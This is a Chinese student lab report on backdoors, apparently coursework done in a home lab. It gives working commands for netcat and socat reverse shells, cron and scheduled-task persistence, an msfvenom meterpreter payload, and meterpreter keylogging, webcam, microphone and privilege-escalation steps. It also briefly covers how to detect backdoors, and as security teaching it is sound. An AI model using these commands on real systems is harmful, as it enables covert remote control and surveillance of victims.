# 2019-2020-2 网络对抗技术 20175333 曹雅坤 Exp2 后门原理与实践
2019-2020-2 网络对抗技术 20175333 曹雅坤 Exp2 后门原理与实践
1.实验内容 (3.5分)
1.使用netcat获取主机操作Shell,cron启动 (0.5分)
2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2.基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 下载破解软件时,可能会捆绑一些木马文件,下载软件的同时电脑也中招了
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:设置为开机自启动、修改注册表,通过用户执行触发
- Linux:使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, 任务计划启动
- Meterpreter有哪些给你映像深刻的功能?
- 在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等.
- 如何发现自己有系统有没有被安装后门
- 查看开机自启动项、注册表项中是否有可疑程序
- 安装杀毒软件,经常检查,扫描电脑
任务一:使用netcat获取主机操作Shell,cron启动
1.1、Windows获得Linux Shell
在Windows下使用ipconfig查看本机IP为192.168.0.103
使用ncat.exe程序打开监听ncat.exe -l -p 5333
在kali中反弹连接Windows,ncat 192.168.0.103 5333 -e /bin.sh
,使用-e选项执行shell程序,windows已经获得kali的linux Shell
1.2、Linux获得Windows Shell
在kali中使用ip addr查看IP为192.168.253.128
打开监听nc -l -p 5333
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.253.128 5333
kali成功获得Windows的命令提示
1.3、使用nc传输数据
Windows下监听5333端口,ncat.exe -l 5333
kali反弹连接到Windows的5333端口,nc 192.168.0.103 5333
1.4、使用nc传输文件(将文件从kali传给Windows)
Windows下监听5324端口,并把收到的数据保存到file5333.out中,ncat.exe -l 5333 > file1.out
kali 反弹连接到Windows的5333端口,nc 192.168.0.103 5333 < file1.in
连接建立成功,Windows可以收到kali发来的文件。
1.5、 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3。
最后一行添加22 * * * * /bin/netcat 192.168.0.103 5333 -e /bin/sh
,意思是在每个小时的第22分钟反向连接Windows主机的5333端口。
时间到达22分的时候,如下图
任务二:使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是socat [options]
,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
在此电脑中点击管理点击任务计划程序,再点击创建任务填写任务名,新建一个触发器,选择定时启动
选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5333 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5333,同时把cmd.exe的stderr重定向到stdout上:
创建好后任务准备就绪,到达2:01后,刷新,可以发现之前创建的任务已经开始运行。
此时,在kali中输入输入指令socat - tcp:192.168.0.103:5333,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5324端口,此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=5333 -f exe > 20175333_backdoor.exe,这里的IP地址为控制端IP,即KaliIP,可见已经生成了后门程序“20175333_backdoor.exe”
在Windows下执行ncat.exe -l 5333 > 20175333_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5333 > 20175333_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.0.103 5333 < 20175333_backdoor.exe(这里的IP为被控主机IP,即WindowsIP)
在kali上使用msfconsole指令进入msf控制台
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.149.129,这里用的是KaliIP,和生成后门程序时指定的IP相同
set LPORT 5324,同样要使用相同的端口
设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录
- 使用screenshot指令可以进行截屏
- 使用getuid指令查看当前用户,使用getsystem指令进行提权操作
-
kali ip
-
windows ip
4.实验总结与体会
本次实验真是绝了,只要有一个后门进程可以运行,操纵目标机对于我们来说如同探囊取物,让我深刻的认识到电脑安全的重要性。个人信息极易被泄露,我们要时刻注意保护自己的隐私。
刚开始是在winxp上做的实验,到处报错,心态给我整崩了,换到主机上做就好多了,一路畅通。这次试验我也是按照学长的博客一步一步来完成的,其实中间有很多东西值得我们自己思考,但时间有限,力所不及只好照搬,希望我自己有机会可以再次深入的学习实验。